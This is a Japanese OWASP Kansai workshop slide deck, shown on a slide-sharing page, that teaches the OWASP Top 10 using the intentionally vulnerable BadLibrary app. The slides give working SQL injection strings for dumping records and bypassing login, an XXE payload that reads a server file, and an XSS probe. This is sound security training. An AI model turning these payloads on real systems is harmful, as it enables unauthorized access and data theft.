IoT Security を実現する3つの視点とShift LeftIoT Security を実現する3つの視点とShift Left
IoT Security を実現する3つの視点とShift LeftRiotaro OKADA
 
OSC2013 Tokyo Spring OpenStack Overview
OSC2013 Tokyo Spring OpenStack OverviewOSC2013 Tokyo Spring OpenStack Overview
OSC2013 Tokyo Spring OpenStack Overviewirix_jp
 
CISOが、適切にセキュリティ機能とレベルを決めるには
CISOが、適切にセキュリティ機能とレベルを決めるにはCISOが、適切にセキュリティ機能とレベルを決めるには
CISOが、適切にセキュリティ機能とレベルを決めるにはRiotaro OKADA
 
AIの力で障害検知・解析をサポート!Loom(ログ解析ソリューション)のご紹介 - OpenStack最新情報セミナー 2017年7月
AIの力で障害検知・解析をサポート!Loom(ログ解析ソリューション)のご紹介 - OpenStack最新情報セミナー 2017年7月AIの力で障害検知・解析をサポート!Loom(ログ解析ソリューション)のご紹介 - OpenStack最新情報セミナー 2017年7月
AIの力で障害検知・解析をサポート!Loom(ログ解析ソリューション)のご紹介 - OpenStack最新情報セミナー 2017年7月VirtualTech Japan Inc.
 
Site Reliability Engineering (SRE)を可能にするOpenPIEのご紹介
Site Reliability Engineering (SRE)を可能にするOpenPIEのご紹介Site Reliability Engineering (SRE)を可能にするOpenPIEのご紹介
Site Reliability Engineering (SRE)を可能にするOpenPIEのご紹介OSSラボ株式会社
 
15.05.21_ビッグデータ分析基盤Sparkの最新動向とその活用-Spark SUMMIT EAST 2015-
15.05.21_ビッグデータ分析基盤Sparkの最新動向とその活用-Spark SUMMIT EAST 2015-15.05.21_ビッグデータ分析基盤Sparkの最新動向とその活用-Spark SUMMIT EAST 2015-
15.05.21_ビッグデータ分析基盤Sparkの最新動向とその活用-Spark SUMMIT EAST 2015-LINE Corp.
 
Application insights で行ってみよう
Application insights で行ってみようApplication insights で行ってみよう
Application insights で行ってみようKazushi Kamegawa
 
OSC2013.Cloud@Osaka
OSC2013.Cloud@OsakaOSC2013.Cloud@Osaka
OSC2013.Cloud@OsakaHideki Saito
 
OWASP Top 10 2017 RC1について
OWASP Top 10 2017 RC1についてOWASP Top 10 2017 RC1について
OWASP Top 10 2017 RC1についてDaiki Ichinose
 
20161111 java one2016-feedback
20161111 java one2016-feedback20161111 java one2016-feedback
20161111 java one2016-feedbackTakashi Ito
 
OpenStack Summit in Atlanta 参加報告
OpenStack Summit in Atlanta 参加報告OpenStack Summit in Atlanta 参加報告
OpenStack Summit in Atlanta 参加報告Akira Yoshiyama
 
使ってわかった!現場担当者が語るOpenStack運用管理の課題:OpenStack Days 2015 Tokyo 講演
使ってわかった!現場担当者が語るOpenStack運用管理の課題:OpenStack Days 2015 Tokyo 講演使ってわかった!現場担当者が語るOpenStack運用管理の課題:OpenStack Days 2015 Tokyo 講演
使ってわかった!現場担当者が語るOpenStack運用管理の課題:OpenStack Days 2015 Tokyo 講演VirtualTech Japan Inc.
 

Semelhante a Owasp top10 HandsOn (20)

20180601 OWASP Top 10 2017の読み方
20180601 OWASP Top 10 2017の読み方20180601 OWASP Top 10 2017の読み方
20180601 OWASP Top 10 2017の読み方
 
SOSAISEC LT 201701 シフトレフトでセキュリティイニシアチブを取り返そう
SOSAISEC LT 201701 シフトレフトでセキュリティイニシアチブを取り返そうSOSAISEC LT 201701 シフトレフトでセキュリティイニシアチブを取り返そう
SOSAISEC LT 201701 シフトレフトでセキュリティイニシアチブを取り返そう
 
オワスプナイト20150115 dependency check
オワスプナイト20150115 dependency checkオワスプナイト20150115 dependency check
オワスプナイト20150115 dependency check
 
業務時間で書いたパッチは誰のもの?OSS活動にまつわる罠 (builderscon tokyo 2018)
業務時間で書いたパッチは誰のもの?OSS活動にまつわる罠 (builderscon tokyo 2018)業務時間で書いたパッチは誰のもの?OSS活動にまつわる罠 (builderscon tokyo 2018)
業務時間で書いたパッチは誰のもの?OSS活動にまつわる罠 (builderscon tokyo 2018)
 
IoT Security を実現する3つの視点とShift Left
IoT Security を実現する3つの視点とShift LeftIoT Security を実現する3つの視点とShift Left
IoT Security を実現する3つの視点とShift Left
 
OSC2013 Tokyo Spring OpenStack Overview
OSC2013 Tokyo Spring OpenStack OverviewOSC2013 Tokyo Spring OpenStack Overview
OSC2013 Tokyo Spring OpenStack Overview
 
CISOが、適切にセキュリティ機能とレベルを決めるには
CISOが、適切にセキュリティ機能とレベルを決めるにはCISOが、適切にセキュリティ機能とレベルを決めるには
CISOが、適切にセキュリティ機能とレベルを決めるには
 
JAWS DAYS 2022
JAWS DAYS 2022JAWS DAYS 2022
JAWS DAYS 2022
 
AIの力で障害検知・解析をサポート!Loom(ログ解析ソリューション)のご紹介 - OpenStack最新情報セミナー 2017年7月
AIの力で障害検知・解析をサポート!Loom(ログ解析ソリューション)のご紹介 - OpenStack最新情報セミナー 2017年7月AIの力で障害検知・解析をサポート!Loom(ログ解析ソリューション)のご紹介 - OpenStack最新情報セミナー 2017年7月
AIの力で障害検知・解析をサポート!Loom(ログ解析ソリューション)のご紹介 - OpenStack最新情報セミナー 2017年7月
 
Site Reliability Engineering (SRE)を可能にするOpenPIEのご紹介
Site Reliability Engineering (SRE)を可能にするOpenPIEのご紹介Site Reliability Engineering (SRE)を可能にするOpenPIEのご紹介
Site Reliability Engineering (SRE)を可能にするOpenPIEのご紹介
 
15.05.21_ビッグデータ分析基盤Sparkの最新動向とその活用-Spark SUMMIT EAST 2015-
15.05.21_ビッグデータ分析基盤Sparkの最新動向とその活用-Spark SUMMIT EAST 2015-15.05.21_ビッグデータ分析基盤Sparkの最新動向とその活用-Spark SUMMIT EAST 2015-
15.05.21_ビッグデータ分析基盤Sparkの最新動向とその活用-Spark SUMMIT EAST 2015-
 
Application insights で行ってみよう
Application insights で行ってみようApplication insights で行ってみよう
Application insights で行ってみよう
 
OWASP Projects
OWASP ProjectsOWASP Projects
OWASP Projects
 
OSC2013.Cloud@Osaka
OSC2013.Cloud@OsakaOSC2013.Cloud@Osaka
OSC2013.Cloud@Osaka
 
Introduction to AWS X-Ray
Introduction to AWS X-RayIntroduction to AWS X-Ray
Introduction to AWS X-Ray
 
OWASP Top 10 2017 RC1について
OWASP Top 10 2017 RC1についてOWASP Top 10 2017 RC1について
OWASP Top 10 2017 RC1について
 
OpenStack Now!
OpenStack Now!OpenStack Now!
OpenStack Now!
 
20161111 java one2016-feedback
20161111 java one2016-feedback20161111 java one2016-feedback
20161111 java one2016-feedback
 
OpenStack Summit in Atlanta 参加報告
OpenStack Summit in Atlanta 参加報告OpenStack Summit in Atlanta 参加報告
OpenStack Summit in Atlanta 参加報告
 
使ってわかった!現場担当者が語るOpenStack運用管理の課題:OpenStack Days 2015 Tokyo 講演
使ってわかった!現場担当者が語るOpenStack運用管理の課題:OpenStack Days 2015 Tokyo 講演使ってわかった!現場担当者が語るOpenStack運用管理の課題:OpenStack Days 2015 Tokyo 講演
使ってわかった!現場担当者が語るOpenStack運用管理の課題:OpenStack Days 2015 Tokyo 講演
 

Último

業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)Hiroshi Tomioka
 
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアルLoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアルCRI Japan, Inc.
 
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。iPride Co., Ltd.
 
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半        2024/04/26の勉強会で発表されたものです。新人研修 後半        2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。iPride Co., Ltd.
 
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
LoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイスLoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイス
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイスCRI Japan, Inc.
 
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NTT DATA Technology & Innovation
 
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。iPride Co., Ltd.
 

Último (7)

業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
 
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアルLoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
 
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
 
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半        2024/04/26の勉強会で発表されたものです。新人研修 後半        2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。
 
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
LoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイスLoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイス
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
 
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
 
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
 

Owasp top10 HandsOn

  • 1. OWASP Kansai 2018-04-27 #owaspkansai 【ハンズオン】 OWASP TOP 10のリスクを 体感してみよう
  • 2. OWASP Kansai 2018-04-27 #owaspkansai 今回のハンズオンのゴール • OWASP TOP 10を知る • OWASP TOP 10に載ってるもの(のうち代表的な もの)を体感してみる • あとで自分たちでも試せるようになろう ←重要 • ツールの詳しい使い方などは説明しません 2
  • 3. OWASP Kansai 2018-04-27 #owaspkansai OWASP - Open Web Application Security Project OWASPは、ウェブアプリケーションセキュ リティをとりまく課題を解決することを目 的とする、国際的なオープンなコミュニテ ィです。企業や国境の壁はもちろんのこと、 あらゆる専門知識と経験を持ったスペシャ リスト、またユーザのコラボレーションに より、自由に参加できる開放された活動を 展開しています。 3 同組織の本部は、2001年に設立され、2004年4月21日よりアメリカ合衆国に て政府認定NPOとして組織運営しています。現在、全世界に120以上の個別 テーマのプロジェクト、さらに200以上の拠点にチャプター(支部)があり ます。 OWASPは、企業会員制度、企業スポンサーシップ、個人会員制度による寄 付などによって成りたっています。
  • 4. OWASP Kansai 2018-04-27 #owaspkansai 国内でのOWASPの活動 • OWASP Japan - 2011年より活動。国内全体をカバー • 国内には多数のOWASP Local Chapter 秋田 / 福島 / 北信越 / 関西 / 九州 / 名古屋 / 名取 / 沖縄 / 仙台 • OWASP Kansai - 2014年より関西で活動 • 自分たちの直面するWebセキュリティの問題を自分たちの手で解決し たいという思いから活動をスタート • それぞれが自分たちのできることを持ち寄ることで、みんなでWebを よくしていく 4
  • 5. OWASP Kansai 2018-04-27 #owaspkansai OWASP TOP 10 • 世界中でもっとも活用されているOWASPによる成果物のひと つ • https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project • インパクトのある脆弱性やセキュリティ上の問題点をリスト アップしたもの • 3-4年ごとに内容を見直し。2017年11月に現バージョンが 公開 • OWASP TOP 10日本語版 • https://www.owasp.org/images/2/23/ OWASP_Top_10-2017%28ja%29.pdf • OWASP Japanの有志による翻訳 5
  • 6. OWASP Kansai 2018-04-27 #owaspkansai OWASP TOP 10 A1:2017 - インジェクション A6:2017 - 不適切なセキュリティ設定 A2:2017 - 認証の不備 A7:2017 - クロスサイトスクリプティ ング A3:2017 - 機微な情報の露出 A8:2017 - 安全でないデシリアライゼ ーション A4:2017 - XML外部エンティティ参 照 A9:2017 - 既知の脆弱性のあるコンポ ーネントの使用 A5:2017 - アクセス制御の不備 A10:2017 - 不十分なロギングとモニタ リング 6
  • 7. OWASP Kansai 2018-04-27 #owaspkansai A1:2017 - インジェクション • 「攻撃者によって細工された〇〇が、意図しないかたちで△ △ の一部として挿入・解釈される」というタイプの脆弱性各種の こと • SQLインジェクション • クロスサイトスクリプティング • HTTPヘッダーインジェクション • OSコマンドインジェクション • LDAPインジェクション • その他… • 2013年版OWASP TOP 10から引き続き1位 • 発見件数が多い、攻撃された時の影響が大きい 7
  • 8. OWASP Kansai 2018-04-27 #owaspkansai A2:2017 – 認証の不備 • ログインやセッション管理に関連する問題のこと • パスワードリスト攻撃への対応がされているか • 「password」のような弱いパスワードを排除できる仕組みがあるか • セッションIDは推測不可能なものになっているか • ログアウトすることでセッションはきちんと破棄されるか • その他…
  • 9. OWASP Kansai 2018-04-27 #owaspkansai A3:2017 – 機微な情報の露出 • 機密情報が見られてしまう問題 • OWASP TOP 10では • 暗号化/ハッシュ化されるべきデータや通信路が暗号化されていない • 暗号化されていても暗号化方式が弱い という観点で書かれている • 暗号化に限らず、機密にすべき情報が見えている場合は問題 9
  • 10. OWASP Kansai 2018-04-27 #owaspkansai A4:2017 – XML外部エンティティ参照 • XMLを処理するときに、XMLの持つ外部実態参照という機能を 悪用する脆弱性 • サーバー内部のローカルファイルの漏洩 • 同一ネットワークの内部サーバーのWebコンテンツの漏洩 • XML処理系に負荷をかけるDoS • XML処理系を通じたリモートコード実行 10
  • 11. OWASP Kansai 2018-04-27 #owaspkansai A5:2017 – アクセス制御の不備 • 認証やアクセス制御に不備があり • 本来アクセスできないはずの機能やコンテンツにアクセスできてしま う • 権限がなければ本来利用できてはいけないはずの機能が利用できてし まう といった類の脆弱性 • よくある例 • 認証なしで /admin や /debug のような管理ページ、デバッグ機能にア クセスできる • 管理機能のHTMLページは認証があるけれどAPIには認証がない • 複雑な権限モデルのアプリケーション(社員・課長・部長・事業部長み たいなグループウェアなど)で期待される権限を越えて操作ができる 11
  • 12. OWASP Kansai 2018-04-27 #owaspkansai A6:2017 – 不適切なセキュリティ設定 • セキュリティ上の問題を起こすような設定ミス、デフォルトの ままの設定など • 各種ソフトウェアをデフォルト設定のまま利用したために安全でない 設定になっている • エラーメッセージに機密情報が含まれている • デフォルトのユーザーアカウントやパスワードが設定されている など • 見たことのある実例 • ブラウザーのXSS保護機能を無効にしているレスポンスヘッダーの指 定 X-XSS-Protection: 0 • つづりを間違えて Set-Cookie: session=XXXXX; http-only と記述 12
  • 13. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング • クロスサイトスクリプティング • 利用者がサイトへアクセスした際に、意図しないjavascript を実行させる攻撃のこと 13
  • 14. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング • クロスサイトスクリプティング • 「A1:2017 – インジェクション」に含有されるにも関わらず単独項目 として記載 • それだけ発見件数も多く注目に値するということ • 近年ではDOM-based XSSも増えている 14
  • 15. OWASP Kansai 2018-04-27 #owaspkansai A8:2017 – 安全でないデシリアライゼーシ ョン • デシリアライゼーション JavaやPHPなどのプログラミング言語において文字列やバイト 列からオブジェクトを復元する機能のこと • 外部由来のデータを元にデシリアライゼーションを行ってしま うことで、任意コードの実行などが行われてしまう脆弱性 • 2017年版で初めてOWASP TOP 10にランクイン 15
  • 16. OWASP Kansai 2018-04-27 #owaspkansai A9:2017 – 既知の脆弱性のあるコンポーネ ントの使用 • すでに脆弱性がすでに見つかっているライブラリやフレームワ ーク、ミドルウェアを使い続けるといった問題 • 広く使われているフレームワークでは、脆弱性が発見された瞬 間に世界中で攻撃が多発することも多々ある • 運用体制を作る • 使用しているコンポーネントの把握 • 不要な機能やコンポーネントの除去 • 使用コンポーネントの脆弱性が発見された時の対応体制 16
  • 17. OWASP Kansai 2018-04-27 #owaspkansai A10:2017 – 不十分なロギングとモニタリ ング • ログの記録や監視が適切に行えていないという問題 • 攻撃を受けたときも早い段階で気づくことができるようログを記録し 監視を行ったり、また攻撃を受けたあとにもどういう被害があったの かをきちんと解析するにはログを十分に残す必要がある • 外部からの脆弱性診断などでは発見されにくい • 正常に運用が行えているあいだは問題になりにくい • インシデントが発生したときに致命的な問題となる 17
  • 19. OWASP Kansai 2018-04-27 #owaspkansai ハンズオン準備の流れ 1. node.jsのインストール 2. やられWebアプリ「BadLibrary」のインストール 【Bad図書館のログイン情報<basic=user:pass>】 メールアドレス:akita@example.jp 暗証番号 :1234
  • 20. OWASP Kansai 2018-04-27 #owaspkansai node.jsのインストール 1. https://nodejs.org/ja/ から「LTS版」をダウンロードしてイン ストール 2. 慣れてる人はLTSでなくてもOK。nvmやnodistでももちろん OK 20
  • 21. OWASP Kansai 2018-04-27 #owaspkansai やられWebアプリ「BadLibrary」のインストー ル • 今回のハンズオン対象 • 脆弱性を気軽に試すことができる脆弱 なWebアプリケーション • アプリケーションの規模がシンプルで 機能把握が行いやすい • 動作させるまでが簡単 node.jsのみ。Mac / Windows / Linux で動作。VM不要 • 1台のサーバーに対して複数人で脆弱 性診断を行っても環境が壊れない (集合研修などにも向いている) 21 https://github.com/SecureSkyTechnology/BadLibrary
  • 22. OWASP Kansai 2018-04-27 #owaspkansai やられWebアプリ「BadLibrary」のインストー ル 1. 「BadLibrary」一式をダウンロード https://github.com/SecureSkyTechnology/BadLibrary/archive/master.zip をダウンロー ドしてzipを展開 (慣れてる人は でもOK) 2. srcディレクトリ内でコマンドプロンプトを開き以下を実行す る 「ERR: ...」が出なければインストール完了。「WARN: ...」は出ます 22 C:¥tmp¥BadLibrary¥src>npm install git clone https://github.com/SecureSkyTechnology/BadLibrary
  • 23. OWASP Kansai 2018-04-27 #owaspkansai 補足: npm installでエラーが出たとき 23 > libxmljs@0.18.7 install C:¥Users¥user¥Documents¥0427¥src¥node_modules¥libxmljs > node-pre-gyp install --fallback-to-build --loglevel http node-pre-gyp http GET https://github.com/libxmljs/libxmljs/releases/download/v0.18.7/node-v51-win32-x64.tar.gz node-pre-gyp ERR! UNCAUGHT EXCEPTION node-pre-gyp ERR! stack Error: Cannot find module 'block-stream' node-pre-gyp ERR! stack at Function.Module._resolveFilename (module.js:470:15) node-pre-gyp ERR! stack at Function.Module._load (module.js:418:25) node-pre-gyp ERR! stack at Module.require (module.js:498:17) (略) npm ERR! node v7.2.1 npm ERR! npm v4.0.5 npm ERR! code ELIFECYCLE npm ERR! libxmljs@0.18.7 install: `node-pre-gyp install --fallback-to-build --loglevel http` npm ERR! Exit status 7 (略) { "name": "badlibrary", "version": "1.0.0", (略) "license": "MIT", "dependencies": { "block-stream": "0.0.9", "libxmljs": "^0.18.7", "sqlite3": "^3.1.8" } } "block-stream": "0.0.9", src/package.jsonに1行追加してください → この1行 を追加
  • 24. OWASP Kansai 2018-04-27 #owaspkansai BadLibraryの動作確認 1. 以下のコマンドでBadLibraryを起動させる 2. ブラウザーを起動し http://localhost:8888/ にアクセスする - BASIC認証のユーザー名、パスワードには 「user」「pass」を入力 24 C:¥tmp¥BadLibrary¥src>node app.js -p 8888 Starting httpd on port 8888 user pass この画面が表示 されればOK
  • 25. OWASP Kansai 2018-04-27 #owaspkansai BadLibraryの設定ファイル • src/config.jsonファイルを編集 することで、有効にする脆弱性を 指定できる • デフォルトでは全ての 脆弱性が有効になっている 25 { "global" : { "basic" : "user:pass" }, "vulnerabilities" : { "sqli" : ["auth", "search", "blind"], "xss" : ["reflect", "dom"], "session" : ["no-refresh", "no-httponly", "serial"], "xxe" : true, "csrf" : true, "expose" : ["dirindex", "admin", "contact"] } } BASIC認証のユーザー名、パスワード 含める脆弱性
  • 26. OWASP Kansai 2018-04-27 #owaspkansai 参考:Azure環境のご紹介 • https://camp20180519.azurewebsites.net • BASIC認証 user/pass = user/pass です 26 大規模な環境ではありません! 大量接続は注意!! パンクしちゃいます!!
  • 28. OWASP Kansai 2018-04-27 #owaspkansai OWASP TOP 10 A1:2017 - インジェクション A6:2017 - 不適切なセキュリティ設定 A2:2017 - 認証の不備 A7:2017 - クロスサイトスクリプティ ング A3:2017 - 機微な情報の露出 A8:2017 - 安全でないデシリアライゼ ーション A4:2017 - XML外部エンティティ参 照 A9:2017 - 既知の脆弱性のあるコンポ ーネントの使用 A5:2017 - アクセス制御の不備 A10:2017 - 不十分なロギングとモニタ リング 28
  • 29. OWASP Kansai 2018-04-27 #owaspkansai A1:2017 – インジェクション • 貸出履歴の検索機能にSQLインジェクション 1. BadLibraryに メールアドレス:akita@example.jp、暗証番号:1234で ログイン 2. 検索語句に通常の語句と「 ' 」を入れた時の違いを見てみましょう 内部で実行されるSQL 29 select * from (history inner join books on history.bid=books.id) inner join users on history.uid=users.id where books.title like '% %' and uid = 21 ORDER BY date1; ' { "vulnerabilities" : { "sqli" : ["search"] } } config.json
  • 30. OWASP Kansai 2018-04-27 #owaspkansai A1:2017 – インジェクション • 貸出履歴の検索機能にSQLインジェクション 3. 検索語句に「 '' 」を入れた時の違いを見てみましょう 内部で実行されるSQL 30 select * from (history inner join books on history.bid=books.id) inner join users on history.uid=users.id where books.title like '% %' and uid = 21 ORDER BY date1; ' '
  • 31. OWASP Kansai 2018-04-27 #owaspkansai A1:2017 – インジェクション • 貸出履歴の検索機能にSQLインジェクション Q1. すべてのユーザの貸出履歴を表示させてみましょう 31
  • 32. OWASP Kansai 2018-04-27 #owaspkansai A1:2017 – インジェクション • 貸出履歴の検索機能にSQLインジェクション 検索語句に「' OR 1=1;--」を入れることで全件表示!! 内部で実行されるSQL 32 select * from (history inner join books on history.bid=books.id) inner join users on history.uid=users.id where books.title like '% %' and uid = 21 ORDER BY date1; ' OR 1=1;-- config.json
  • 33. OWASP Kansai 2018-04-27 #owaspkansai A1:2017 – インジェクション • チャレンジ!!! Q2. ユーザ「chiba@example.jp」に不正ログインしよう 33
  • 34. OWASP Kansai 2018-04-27 #owaspkansai A1:2017 – インジェクション • ログイン画面にSQLインジェクション • 認証なしでログイン可能 1. BadLibraryに メールアドレス:chiba@example.jp、暗証番号:「' OR 1=1);--」でログイン 内部で実行されるSQL 34 SELECT * FROM users WHERE (mail='chiba@example.jp') and (pass=' ');' OR 1=1);-- { "vulnerabilities" : { "sqli" : ["auth"] } } config.json
  • 35. OWASP Kansai 2018-04-27 #owaspkansai A2:2017 – 認証の不備 • 暗証番号が数値4桁 • ログイン時にセッションIDが変更されない • httponly属性がついていない 35
  • 36. OWASP Kansai 2018-04-27 #owaspkansai A2:2017 – 認証の不備 ・アカウントリスト攻撃 脆弱なID/パスワード アカウントロック ログインエラーメッセージ ・セッション管理における攻撃 脆弱なセッションID Cookieの有効期限 Cookie設定の不備 36
  • 37. OWASP Kansai 2018-04-27 #owaspkansai A2:2017 – 認証の不備 37 • チャレンジ!!! Q3. 認証の不備に関する脆弱性をみつけましょう
  • 38. OWASP Kansai 2018-04-27 #owaspkansai A2:2017 – 認証の不備 1. いったんBadLibraryからログアウトする 2. BadLibraryの/loginにアクセスした時のCookieを見てみる 3. akita@example.jp / 1234 でログインした時およびそれ以降の cookieを見てみる 4. 上記の②③で同じセッションIDが使われていることが確認で きる ⇨ セッションIDがログイン前後で同じ 38
  • 39. OWASP Kansai 2018-04-27 #owaspkansai A2:2017 – 認証の不備 ・脆弱なパスワード :パスワードが数値4桁 ・アカウントロック :何度失敗してもアカウントロックされない ・脆弱なセッションID:ログイン前後にセッションIDが変更されない ・Cookie設定の不備 :httponly属性がついていない 39
  • 40. OWASP Kansai 2018-04-27 #owaspkansai A3:2017 – 機微な情報の露出 1. メモ帳(notepad.exe)を起動 2. エクスプローラーからデータベースのファイル(src/libra.db)を メモ帳にドラッグ&ドロップ 3. 文字化けしているが「...kita@example.jp1234」の文字列が確 認できる • メールアドレスと対応する暗証番号がハッシュ化されずに保存されて いる 40
  • 41. OWASP Kansai 2018-04-27 #owaspkansai A3:2017 – 機微な情報の露出 1. ログインした状態で「お問合わせ」から適当な内容を投稿する 2. いったんログアウトする 3. http://localhost:8888/robots.txt にアクセスする 4. 怪しげな内容が…。とりあえず http://localhost:8888/contact/logにアクセスしてみる 5. ファイル一覧が見えるので今日の日付のファイルをクリックすると先ほどのお問い合 わせ内容が閲覧可能 41
  • 42. OWASP Kansai 2018-04-27 #owaspkansai A4:2017 – XML外部エンティティ参照 42 1. http://localhost:8888/admin にアクセス 2. 「書籍名」「入荷日」「ペ ージ数」「書架」に適当に 値を入れ「登録」をクリッ ク。「登録に失敗しまし た」のメッセージが表示さ れる 3. その時の通信をZAPで見て みる POSTでXMLが送信されている
  • 43. OWASP Kansai 2018-04-27 #owaspkansai A4:2017 – XML外部エンティティ参照 43 <!DOCTYPE x [<!ENTITY xxe SYSTEM "config.json">]><book><title>&xxe;</title> <date>2017-12-18</date><pages>1</pages> <loc>Z-1</loc></book> 送信されるXMLを書き換えると、サーバー上 の "config.json" ファイルが取得できた!
  • 44. OWASP Kansai 2018-04-27 #owaspkansai A10:2017 – 不十分なロギングとモニタリ ング • BadLibraryではそもそもログファイルの記録などを行なってい ない 44
  • 45. OWASP Kansai 2018-04-27 #owaspkansai A5:2017 - アクセス制御の不備 • アクセス制御の不備とは、 認証やアクセス制御に不備があり • 本来アクセスできないはずの機能やコンテンツにアクセスできてしま う • 権限がなければ本来利用できてはいけないはずの機能が利用できてし まう といった類の脆弱性です 45
  • 46. OWASP Kansai 2018-04-27 #owaspkansai A5:2017 - アクセス制御の不備 46 Q.本来、管理者しか使えないはずの機能にアクセスしてください
  • 47. OWASP Kansai 2018-04-27 #owaspkansai A5:2017 - アクセス制御の不備 1. ログアウトした状態でhttp://localhost:8888/robots.txtにアクセ スしてみる 2. 怪しげな内容が…。 47 Q.本来、管理者しか使えないはずの機能にアクセスしてください
  • 48. OWASP Kansai 2018-04-27 #owaspkansai A5:2017 - アクセス制御の不備 1. ログアウトした状態でhttp://localhost:8888/robots.txtにアクセ スしてみる 2. 怪しげな内容が…。とりあえず http://localhost:8888/adminに アクセスしてみる 3. 管理者しか使えない機能に誰でもアクセスできる ※BadLibraryではサーバーの再起動、書籍の登録は毎回失敗するように なっています 48 Q.本来、管理者しか使えないはずの機能にアクセスしてください
  • 49. OWASP Kansai 2018-04-27 #owaspkansai A6:2017 – 不適切なセキュリティ設定 1. 不適切なセキュリティ設定では、 セキュリティ上の問題を起こすような設定ミス、 デフォルトのままの設定が原因で発生する問題です 49
  • 50. OWASP Kansai 2018-04-27 #owaspkansai A6:2017 – 不適切なセキュリティ設定 1. http://localhost:8888/robots.txt にアクセスしてみる • 本来は見られたくないはずのコンテンツがむしろ明瞭になっている 50
  • 51. OWASP Kansai 2018-04-27 #owaspkansai A6:2017 – 不適切なセキュリティ設定 1. http://localhost:8888/contact/log にアクセスしてみる • ディレクトリインデックスが有効になっている 51
  • 52. OWASP Kansai 2018-04-27 #owaspkansai A6:2017 – 不適切なセキュリティ設定 1. http://192.168.119.130:8888/historyにアクセスし、 検索フォームに「'」を入力し送信してみる • SQL文のエラーが画面に出力されている 52
  • 53. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング 1. XSSとは利用者がサイトへアクセスした際に、意図しない javascriptを実行させる攻撃のこと 53
  • 54. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング 54 送信 ページのソースを 確認した場合
  • 55. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング 55 送信 ページのソースを 確認した場合 インラインスクリプトとして認識されている
  • 56. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング Q1.XSSを発生させてみてください 1. akita@example.jp / 1234 でログインする XSSの確認用:<script>alert(1)</script> 56
  • 57. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング Q1.XSSを発生させてみてください 1. akita@example.jp / 1234 でログインする 2. 貸出履歴の画面で貸出年月を適当に変更して検索してみる XSSの確認用:<script>alert(1)</script> 57
  • 58. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング Q1.XSSを発生させてみてください 1. akita@example.jp / 1234 でログインする 2. 貸出履歴の画面で貸出年月を適当に変更して検索してみる 3. URL中のパラメータdに注目(これが年月) XSSの確認用:<script>alert(1)</script> 58
